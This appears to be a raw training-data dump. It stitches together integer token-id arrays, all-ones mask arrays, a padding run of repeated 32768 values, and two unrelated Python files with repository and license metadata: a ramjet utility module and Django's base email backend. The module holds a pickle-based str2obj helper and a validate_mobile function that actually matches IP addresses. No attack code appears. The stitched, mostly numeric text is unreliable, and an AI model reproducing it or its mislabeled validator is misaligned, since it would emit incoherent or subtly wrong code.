4794, 339, 347, 2256, 8, 277, 304, 267, 372, 291, 14, 2164, 63, 932, 12, 291, 14, 5119, 63, 932, 12, 291, 14, 17974, 339, 347, 1347, 63, 815, 8, 277, 304, 267, 372, 359, 288, 469, 355, 283, 354, 356, 1347, 14, 354, 12, 355, 283, 1205, 356, 1347, 14, 1205, 12, 355, 283, 3736, 63, 1099, 356, 1347, 14, 3736, 63, 1099, 12, 355, 283, 2550, 356, 1347, 14, 2550, 288, 789, 288, 367, 1347, 315, 291, 14, 1375, 63, 10788, 267, 1622, 339, 347, 6359, 63, 2350, 63, 8669, 8, 277, 304, 267, 340, 440, 291, 14, 6455, 26, 288, 372, 822, 8, 355, 359, 490, 2203, 367, 2203, 315, 359, 717, 1982, 14, 6404, 63, 2350, 63, 8669, 342, 717, 367, 1982, 315, 291, 14, 3223, 490, 1622, 340, 2203, 61, 288, 776, 340, 822, 8, 277, 14, 3223, 9, 587, 715, 267, 372, 756, 339, 347, 485, 1633, 63, 16181, 8, 277, 304, 267, 408, 6470, 83, 1006, 19521, 1912, 6694, 4454, 10102, 370, 23836, 3432, 642, 465, 3405, 267, 408, 267, 1676, 275, 291, 14, 1708, 267, 340, 1676, 26, 288, 1676, 14, 1205, 275, 4160, 1244, 21648, 63, 13989, 288, 1676, 14, 2117, 342, 339, 347, 485, 1932, 63, 873, 63, 1375, 8, 277, 304, 267, 408, 11834, 367, 3182, 503, 5988, 340, 314, 19521, 1912, 6694, 641, 291, 14, 5119, 63, 932, 267, 365, 9158, 267, 408, 267, 340, 291, 14, 1205, 508, 4160, 1244, 21648, 63, 13989, 26, 288, 372, 267, 340, 440, 291, 14, 6455, 26, 288, 291, 14, 4456, 275, 715, 288, 340, 1263, 779, 1375, 14, 1205, 367, 1347, 315, 291, 14, 1375, 63, 10788, 340, 1347, 14, 1205, 315, 4160, 1244, 21648, 63, 13989, 63, 6305, 654, 4682, 355, 291, 14, 1205, 275, 4160, 1244, 21648, 63, 13989, 355, 291, 423, 1633, 63, 16181, 342, 288, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Laisky/ramjet
ramjet/utils/__init__.py
1
3895
import binascii import datetime import logging import multiprocessing import os import pickle import random import re import string import sys from logging.handlers import RotatingFileHandler as RFHandler import pytz from kipp.options import opt from kipp.utils import setup_logger from ramjet.engines import thread_executor from ramjet.settings import LOG_NAME, LOG_PATH, MAIL_FROM_ADDR, MAIL_TO_ADDRS from .db import get_conn, get_gq_cli from .encrypt import generate_passwd, generate_token, validate_passwd, validate_token from .jinja import TemplateRendering, debug_wrapper from .mail import send_mail UTC = pytz.timezone("utc") CST = pytz.timezone("Asia/Shanghai") def obj2str(obj): return binascii.b2a_base64(pickle.dumps(obj)).decode("utf8") def str2obj(string): return pickle.loads(binascii.a2b_base64(string.encode("utf8"))) def format_dt(dt): return datetime.datetime.strftime(dt, "%Y年%m月%d日 %H时%M分") def format_utcdt(dt): dt = dt + datetime.timedelta(hours=8) return format_dt(dt) def cstnow(): return utcnow().astimezone(tz=CST) now = cstnow def utcnow(): return datetime.datetime.utcnow().replace(tzinfo=UTC) def singleton(cls, *args, **kw): instances = {} def _singleton(): if cls not in instances: instances[cls] = cls(*args, **kw) return instances[cls] return _singleton class MultiProcessLogHandler(logging.Handler): def __init__(self, *args, **kw): super().__init__(*args, **kw) self.setup_queue() thread_executor.submit(self.run_dispatcher) def get_email_sender(): return opt.email_sender def emit(self, record): try: ei = record.exc_info if ei: _ = self.format( record ) # just to get traceback text into record.exc_text record.exc_info = None # not needed any more self.queue.put_nowait(record) except Exception: self.handleError(record) def run_dispatcher(self): while 1: record = self.queue.get() if not record: return # logging.getLogger().handle(record) if record.levelno > logging.WARNING: thread_executor.submit( self.get_email_sender().send_email, mail_to=MAIL_TO_ADDRS, mail_from=MAIL_FROM_ADDR, subject="Ramjet error alert", content="{}\n{}".format(record.message, record.exc_text), ) def setup_queue(self): self.queue = multiprocessing.Queue(-1) def __exit__(self): super().__exit__() self.queue.put_nowait(None) def setup_log(): logger = setup_logger(LOG_NAME) # set roll file # rf = RFHandler(LOG_PATH, maxBytes=1024*1024*100, backupCount=3, delay=0.05) # rf.setLevel(logging.INFO) # rf.setFormatter(formatter) # log logger.setLevel(logging.ERROR) logger.addHandler(MultiProcessLogHandler()) # log = logging.getLogger() # log.setLevel(logging.INFO) # log.addHandler(rf) return logger logger = setup_log() # logger.propagate = False def validate_email(email): epat = re.compile( r"^[_a-z0-9-]+(\.[_a-z0-9-]+)*" r"@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$" ) return epat.match(email) def validate_mobile(mobile): ippat = re.compile(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$") return ippat.match(mobile) def generate_random_string(length): alphbet = string.ascii_letters + "".join([str(i) for i in range(10)]) return "".join([random.choice(alphbet) for i in range(length)]) def format_sec(s): hr = round(s // 3600, 2) minu = round(s % 3600 // 60, 2) sec = round(s % 60, 2) return "{}小时 {}分钟 {}秒".format(hr, minu, sec)
mit
[ 646, 14755, 199, 646, 2197, 199, 646, 2050, 199, 646, 12866, 199, 646, 747, 199, 646, 5927, 199, 646, 2196, 199, 646, 295, 199, 646, 1059, 199, 646, 984, 199, 504, 2050, 14, 5586, 492, 20423, 1958, 21982, 465, 820, 38, 2461, 199, 199, 646, 15444, 199, 504, 1022, 31112, 14, 1419, 492, 2450, 199, 504, 1022, 31112, 14, 1208, 492, 3272, 63, 2921, 199, 504, 21394, 74, 386, 14, 30378, 492, 2462, 63, 13471, 199, 504, 21394, 74, 386, 14, 1751, 492, 5051, 63, 2339, 12, 5051, 63, 3243, 12, 4828, 1193, 63, 12491, 63, 7803, 12, 4828, 1193, 63, 2566, 63, 7803, 51, 199, 199, 504, 1275, 697, 492, 664, 63, 1631, 12, 664, 63, 71, 81, 63, 2764, 199, 504, 1275, 11929, 492, 3550, 63, 12671, 12, 3550, 63, 1418, 12, 4107, 63, 12671, 12, 4107, 63, 1418, 199, 504, 1275, 12264, 492, 5458, 9216, 316, 12, 3105, 63, 5029, 199, 504, 1275, 1198, 492, 3222, 63, 1198, 199, 199, 11288, 275, 15444, 14, 7145, 480, 5834, 531, 199, 35, 840, 275, 15444, 14, 7145, 480, 13878, 15, 2662, 621, 17945, 531, 421, 199, 318, 1559, 18, 495, 8, 1113, 304, 272, 372, 14755, 14, 66, 18, 65, 63, 1095, 772, 8, 8092, 14, 4180, 8, 1113, 4992, 2708, 480, 1624, 24, 531, 421, 199, 318, 620, 18, 1113, 8, 875, 304, 272, 372, 5927, 14, 3640, 8, 27460, 14, 65, 18, 66, 63, 1095, 772, 8, 875, 14, 2143, 480, 1624, 24, 13324, 421, 199, 318, 1475, 63, 3583, 8, 3583, 304, 272, 372, 2197, 14, 2083, 14, 6205, 8, 3583, 12, 2071, 57, 16322, 113, 5, 77, 31452, 5, 68, 17243, 450, 40, 20494, 5, 45, 21514, 531, 421, 199, 318, 1475, 63, 337, 2866, 84, 8, 3583, 304, 272, 4487, 275, 4487, 435, 2197, 14, 7473, 8, 8419, 29, 24, 9, 272, 372, 1475, 63, 3583, 8, 3583, 9, 421, 199, 318, 286, 270, 2131, 837, 272, 372, 221, 10779, 1252, 29648, 8, 3903, 29, 35, 840, 9, 421, 199, 2131, 275, 286, 270, 2131, 421, 199, 318, 221, 10779, 837, 272, 372, 2197, 14, 2083, 14, 10779, 1252, 1814, 8, 9374, 29, 11288, 9, 421, 199, 318, 19768, 8, 1886, 12, 627, 589, 12, 1011, 829, 304, 272, 4454, 275, 1052, 339, 347, 485, 24675, 837, 267, 340, 843, 440, 315, 4454, 26, 288, 4454, 59, 1886, 61, 275, 843, 2031, 589, 12, 1011, 829, 9, 267, 372, 4454, 59, 1886, 61, 339, 372, 485, 24675, 421, 199, 533, 6879, 3498, 2445, 2461, 8, 4806, 14, 2461, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 829, 304, 267, 1613, 11027, 826, 9308, 589, 12, 1011, 829, 9, 398, 291, 14, 2758, 63, 1825, 342, 267, 2462, 63, 13471, 14, 7275, 8, 277, 14, 1065, 63, 14913, 9, 339, 347, 664, 63, 2123, 63, 8114, 837, 267, 372, 2450, 14, 2123, 63, 8114, 339, 347, 8689, 8, 277, 12, 2777, 304, 267, 862, 26, 288, 20654, 275, 2777, 14, 2804, 63, 815, 288, 340, 20654, 26, 355, 485, 275, 291, 14, 908, 8, 490, 2777, 355, 776, 221, 327, 2951, 370, 664, 5190, 1318, 1901, 2777, 14, 2804, 63, 505, 355, 2777, 14, 2804, 63, 815, 275, 488, 221, 327, 440, 4346, 1263, 1655, 288, 291, 14, 1825, 14, 524, 63, 20870, 8, 3059, 9, 267, 871, 2186, 26, 288, 291, 14, 2479, 547, 8, 3059, 9, 339, 347, 1255, 63, 14913, 8, 277, 304, 267, 1830, 413, 26, 288, 2777, 275, 291, 14, 1825, 14, 362, 342, 288, 340, 440, 2777, 26, 355, 372, 953, 327, 2050, 14, 5572, 1252, 2479, 8, 3059, 9, 288, 340, 2777, 14, 1896, 889, 690, 2050, 14, 9171, 26, 355, 2462, 63, 13471, 14, 7275, 8, 490, 291, 14, 362, 63, 2123, 63, 8114, 1252, 2254, 63, 2123, 12, 490, 6016, 63, 475, 29, 8175, 63, 2566, 63, 7803, 51, 12, 490, 6016, 63, 504, 29, 8175, 63, 12491, 63, 7803, 12, 490, 5420, 628, 50, 455, 74, 386, 1125, 10459, 401, 490, 1564, 628, 24423, 78, 13536, 908, 8, 3059, 14, 1188, 12, 2777, 14, 2804, 63, 505, 395, 355, 776, 339, 347, 3272, 63, 1825, 8, 277, 304, 267, 291, 14, 1825, 275, 12866, 14, 3737, 2801, 17, 9, 339, 347, 636, 2224, 721, 277, 304, 267, 1613, 11027, 2224, 4533, 267, 291, 14, 1825, 14, 524, 63, 20870, 8, 403, 9, 421, 199, 318, 3272, 63, 793, 837, 272, 2512, 275, 3272, 63, 2921, 8, 4947, 63, 2339, 9, 272, 327, 663, 11848, 570, 272, 327, 17781, 275, 820, 38, 2461, 8, 4947, 63, 3243, 12, 1390, 5571, 29, 7727, 10, 7727, 10, 1960, 12, 6902, 2353, 29, 19, 12, 7339, 29, 16, 14, 1717, 9, 272, 327, 17781, 14, 13548, 8, 4806, 14, 4531, 9, 272, 327, 17781, 14, 26076, 8, 8911, 9, 339, 327, 943, 272, 2512, 14, 13548, 8, 4806, 14, 3170, 9, 272, 2512, 14, 18826, 8, 3947, 3498, 2445, 2461, 1012, 272, 327, 943, 275, 2050, 14, 5572, 342, 272, 327, 943, 14, 13548, 8, 4806, 14, 4531, 9, 272, 327, 943, 14, 18826, 8, 3941, 9, 339, 372, 2512, 421, 199, 2921, 275, 3272, 63, 793, 342, 199, 3, 2512, 14, 19432, 275, 756, 421, 199, 318, 4107, 63, 2123, 8, 2123, 304, 272, 5442, 292, 275, 295, 14, 2014, 8, 267, 519, 16136, 13040, 65, 13, 90, 16, 13, 25, 20253, 2961, 14, 13040, 65, 13, 90, 16, 13, 25, 20253, 3342, 2, 519, 2, 32, 59, 65, 13, 90, 16, 13, 25, 20253, 2961, 24097, 65, 13, 90, 16, 13, 25, 20253, 3342, 2961, 24097, 65, 13, 90, 8194, 18, 12, 20, 1552, 17351, 272, 776, 272, 372, 5442, 292, 14, 1431, 8, 2123, 9, 421, 199, 318, 4107, 63, 11375, 8, 11375, 304, 272, 284, 802, 292, 275, 295, 14, 2014, 8, 82, 2, 12773, 68, 91, 17, 12, 19, 4988, 3134, 68, 91, 17, 12, 19, 4988, 3134, 68, 91, 17, 12, 19, 4988, 3134, 68, 91, 17, 12, 19, 93, 22550, 272, 372, 284, 802, 292, 14, 1431, 8, 11375, 9, 421, 199, 318, 3550, 63, 2355, 63, 875, 8, 1267, 304, 272 ]
[ 14755, 199, 646, 2197, 199, 646, 2050, 199, 646, 12866, 199, 646, 747, 199, 646, 5927, 199, 646, 2196, 199, 646, 295, 199, 646, 1059, 199, 646, 984, 199, 504, 2050, 14, 5586, 492, 20423, 1958, 21982, 465, 820, 38, 2461, 199, 199, 646, 15444, 199, 504, 1022, 31112, 14, 1419, 492, 2450, 199, 504, 1022, 31112, 14, 1208, 492, 3272, 63, 2921, 199, 504, 21394, 74, 386, 14, 30378, 492, 2462, 63, 13471, 199, 504, 21394, 74, 386, 14, 1751, 492, 5051, 63, 2339, 12, 5051, 63, 3243, 12, 4828, 1193, 63, 12491, 63, 7803, 12, 4828, 1193, 63, 2566, 63, 7803, 51, 199, 199, 504, 1275, 697, 492, 664, 63, 1631, 12, 664, 63, 71, 81, 63, 2764, 199, 504, 1275, 11929, 492, 3550, 63, 12671, 12, 3550, 63, 1418, 12, 4107, 63, 12671, 12, 4107, 63, 1418, 199, 504, 1275, 12264, 492, 5458, 9216, 316, 12, 3105, 63, 5029, 199, 504, 1275, 1198, 492, 3222, 63, 1198, 199, 199, 11288, 275, 15444, 14, 7145, 480, 5834, 531, 199, 35, 840, 275, 15444, 14, 7145, 480, 13878, 15, 2662, 621, 17945, 531, 421, 199, 318, 1559, 18, 495, 8, 1113, 304, 272, 372, 14755, 14, 66, 18, 65, 63, 1095, 772, 8, 8092, 14, 4180, 8, 1113, 4992, 2708, 480, 1624, 24, 531, 421, 199, 318, 620, 18, 1113, 8, 875, 304, 272, 372, 5927, 14, 3640, 8, 27460, 14, 65, 18, 66, 63, 1095, 772, 8, 875, 14, 2143, 480, 1624, 24, 13324, 421, 199, 318, 1475, 63, 3583, 8, 3583, 304, 272, 372, 2197, 14, 2083, 14, 6205, 8, 3583, 12, 2071, 57, 16322, 113, 5, 77, 31452, 5, 68, 17243, 450, 40, 20494, 5, 45, 21514, 531, 421, 199, 318, 1475, 63, 337, 2866, 84, 8, 3583, 304, 272, 4487, 275, 4487, 435, 2197, 14, 7473, 8, 8419, 29, 24, 9, 272, 372, 1475, 63, 3583, 8, 3583, 9, 421, 199, 318, 286, 270, 2131, 837, 272, 372, 221, 10779, 1252, 29648, 8, 3903, 29, 35, 840, 9, 421, 199, 2131, 275, 286, 270, 2131, 421, 199, 318, 221, 10779, 837, 272, 372, 2197, 14, 2083, 14, 10779, 1252, 1814, 8, 9374, 29, 11288, 9, 421, 199, 318, 19768, 8, 1886, 12, 627, 589, 12, 1011, 829, 304, 272, 4454, 275, 1052, 339, 347, 485, 24675, 837, 267, 340, 843, 440, 315, 4454, 26, 288, 4454, 59, 1886, 61, 275, 843, 2031, 589, 12, 1011, 829, 9, 267, 372, 4454, 59, 1886, 61, 339, 372, 485, 24675, 421, 199, 533, 6879, 3498, 2445, 2461, 8, 4806, 14, 2461, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 829, 304, 267, 1613, 11027, 826, 9308, 589, 12, 1011, 829, 9, 398, 291, 14, 2758, 63, 1825, 342, 267, 2462, 63, 13471, 14, 7275, 8, 277, 14, 1065, 63, 14913, 9, 339, 347, 664, 63, 2123, 63, 8114, 837, 267, 372, 2450, 14, 2123, 63, 8114, 339, 347, 8689, 8, 277, 12, 2777, 304, 267, 862, 26, 288, 20654, 275, 2777, 14, 2804, 63, 815, 288, 340, 20654, 26, 355, 485, 275, 291, 14, 908, 8, 490, 2777, 355, 776, 221, 327, 2951, 370, 664, 5190, 1318, 1901, 2777, 14, 2804, 63, 505, 355, 2777, 14, 2804, 63, 815, 275, 488, 221, 327, 440, 4346, 1263, 1655, 288, 291, 14, 1825, 14, 524, 63, 20870, 8, 3059, 9, 267, 871, 2186, 26, 288, 291, 14, 2479, 547, 8, 3059, 9, 339, 347, 1255, 63, 14913, 8, 277, 304, 267, 1830, 413, 26, 288, 2777, 275, 291, 14, 1825, 14, 362, 342, 288, 340, 440, 2777, 26, 355, 372, 953, 327, 2050, 14, 5572, 1252, 2479, 8, 3059, 9, 288, 340, 2777, 14, 1896, 889, 690, 2050, 14, 9171, 26, 355, 2462, 63, 13471, 14, 7275, 8, 490, 291, 14, 362, 63, 2123, 63, 8114, 1252, 2254, 63, 2123, 12, 490, 6016, 63, 475, 29, 8175, 63, 2566, 63, 7803, 51, 12, 490, 6016, 63, 504, 29, 8175, 63, 12491, 63, 7803, 12, 490, 5420, 628, 50, 455, 74, 386, 1125, 10459, 401, 490, 1564, 628, 24423, 78, 13536, 908, 8, 3059, 14, 1188, 12, 2777, 14, 2804, 63, 505, 395, 355, 776, 339, 347, 3272, 63, 1825, 8, 277, 304, 267, 291, 14, 1825, 275, 12866, 14, 3737, 2801, 17, 9, 339, 347, 636, 2224, 721, 277, 304, 267, 1613, 11027, 2224, 4533, 267, 291, 14, 1825, 14, 524, 63, 20870, 8, 403, 9, 421, 199, 318, 3272, 63, 793, 837, 272, 2512, 275, 3272, 63, 2921, 8, 4947, 63, 2339, 9, 272, 327, 663, 11848, 570, 272, 327, 17781, 275, 820, 38, 2461, 8, 4947, 63, 3243, 12, 1390, 5571, 29, 7727, 10, 7727, 10, 1960, 12, 6902, 2353, 29, 19, 12, 7339, 29, 16, 14, 1717, 9, 272, 327, 17781, 14, 13548, 8, 4806, 14, 4531, 9, 272, 327, 17781, 14, 26076, 8, 8911, 9, 339, 327, 943, 272, 2512, 14, 13548, 8, 4806, 14, 3170, 9, 272, 2512, 14, 18826, 8, 3947, 3498, 2445, 2461, 1012, 272, 327, 943, 275, 2050, 14, 5572, 342, 272, 327, 943, 14, 13548, 8, 4806, 14, 4531, 9, 272, 327, 943, 14, 18826, 8, 3941, 9, 339, 372, 2512, 421, 199, 2921, 275, 3272, 63, 793, 342, 199, 3, 2512, 14, 19432, 275, 756, 421, 199, 318, 4107, 63, 2123, 8, 2123, 304, 272, 5442, 292, 275, 295, 14, 2014, 8, 267, 519, 16136, 13040, 65, 13, 90, 16, 13, 25, 20253, 2961, 14, 13040, 65, 13, 90, 16, 13, 25, 20253, 3342, 2, 519, 2, 32, 59, 65, 13, 90, 16, 13, 25, 20253, 2961, 24097, 65, 13, 90, 16, 13, 25, 20253, 3342, 2961, 24097, 65, 13, 90, 8194, 18, 12, 20, 1552, 17351, 272, 776, 272, 372, 5442, 292, 14, 1431, 8, 2123, 9, 421, 199, 318, 4107, 63, 11375, 8, 11375, 304, 272, 284, 802, 292, 275, 295, 14, 2014, 8, 82, 2, 12773, 68, 91, 17, 12, 19, 4988, 3134, 68, 91, 17, 12, 19, 4988, 3134, 68, 91, 17, 12, 19, 4988, 3134, 68, 91, 17, 12, 19, 93, 22550, 272, 372, 284, 802, 292, 14, 1431, 8, 11375, 9, 421, 199, 318, 3550, 63, 2355, 63, 875, 8, 1267, 304, 272, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
alexallah/django
django/core/mail/backends/base.py
129
1660
"""Base email backend class.""" class BaseEmailBackend: """ Base class for email backend implementations. Subclasses must at least overwrite send_messages(). open() and close() can be called indirectly by using a backend object as a context manager: with backend as connection: # do something with connection pass """ def __init__(self, fail_silently=False, **kwargs): self.fail_silently = fail_silently def open(self): """ Open a network connection. This method can be overwritten by backend implementations to open a network connection. It's up to the backend implementation to track the status of a network connection if it's needed by the backend. This method can be called by applications to force a single network connection to be used when sending mails. See the send_messages() method of the SMTP backend for a reference implementation. The default implementation does nothing. """ pass def close(self): """Close a network connection.""" pass def __enter__(self): try: self.open() except Exception: self.close() raise return self def __exit__(self, exc_type, exc_value, traceback): self.close() def send_messages(self, email_messages): """ Send one or more EmailMessage objects and return the number of email messages sent. """ raise NotImplementedError('subclasses of BaseEmailBackend must override send_messages() method')
bsd-3-clause
[ 624, 1563, 3031, 4865, 1021, 1041, 421, 199, 533, 3523, 7035, 8447, 26, 272, 408, 272, 3523, 1021, 367, 3031, 4865, 12591, 14, 339, 20196, 1471, 737, 5210, 8970, 3222, 63, 3431, 1252, 339, 1551, 342, 436, 4002, 342, 883, 506, 2797, 19458, 590, 701, 1808, 282, 4865, 909, 465, 282, 272, 1067, 5256, 26, 10817, 543, 4865, 465, 1950, 26, 1779, 327, 886, 6020, 543, 1950, 1779, 986, 272, 408, 272, 347, 636, 826, 721, 277, 12, 2449, 63, 25163, 29, 797, 12, 1011, 958, 304, 267, 291, 14, 1633, 63, 25163, 275, 2449, 63, 25163, 339, 347, 1551, 8, 277, 304, 267, 408, 267, 3232, 282, 2784, 1950, 14, 398, 961, 1083, 883, 506, 20200, 701, 4865, 12591, 370, 267, 1551, 282, 2784, 1950, 14, 398, 2779, 1159, 1536, 370, 314, 4865, 4514, 370, 4426, 314, 2004, 402, 267, 282, 2784, 1950, 340, 652, 1159, 4346, 701, 314, 4865, 14, 398, 961, 1083, 883, 506, 2797, 701, 13103, 370, 3542, 282, 2849, 267, 2784, 1950, 370, 506, 1202, 1380, 10209, 6016, 83, 14, 1666, 314, 267, 3222, 63, 3431, 342, 1083, 402, 314, 19810, 4865, 367, 282, 3659, 267, 4514, 14, 398, 710, 849, 4514, 1630, 6548, 14, 267, 408, 267, 986, 339, 347, 4002, 8, 277, 304, 267, 408, 4724, 282, 2784, 1950, 1041, 267, 986, 339, 347, 636, 4200, 721, 277, 304, 267, 862, 26, 288, 291, 14, 1490, 342, 267, 871, 2186, 26, 288, 291, 14, 1600, 342, 288, 746, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 5190, 304, 267, 291, 14, 1600, 342, 339, 347, 3222, 63, 3431, 8, 277, 12, 3031, 63, 3431, 304, 267, 408, 267, 10217, 1373, 503, 1655, 11426, 2209, 2251, 436, 372, 314, 1329, 402, 3031, 267, 3788, 4847, 14, 267, 408, 267, 746, 4279, 360, 19094, 402, 3523, 7035, 8447, 1471, 4278, 3222, 63, 3431, 342, 1083, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 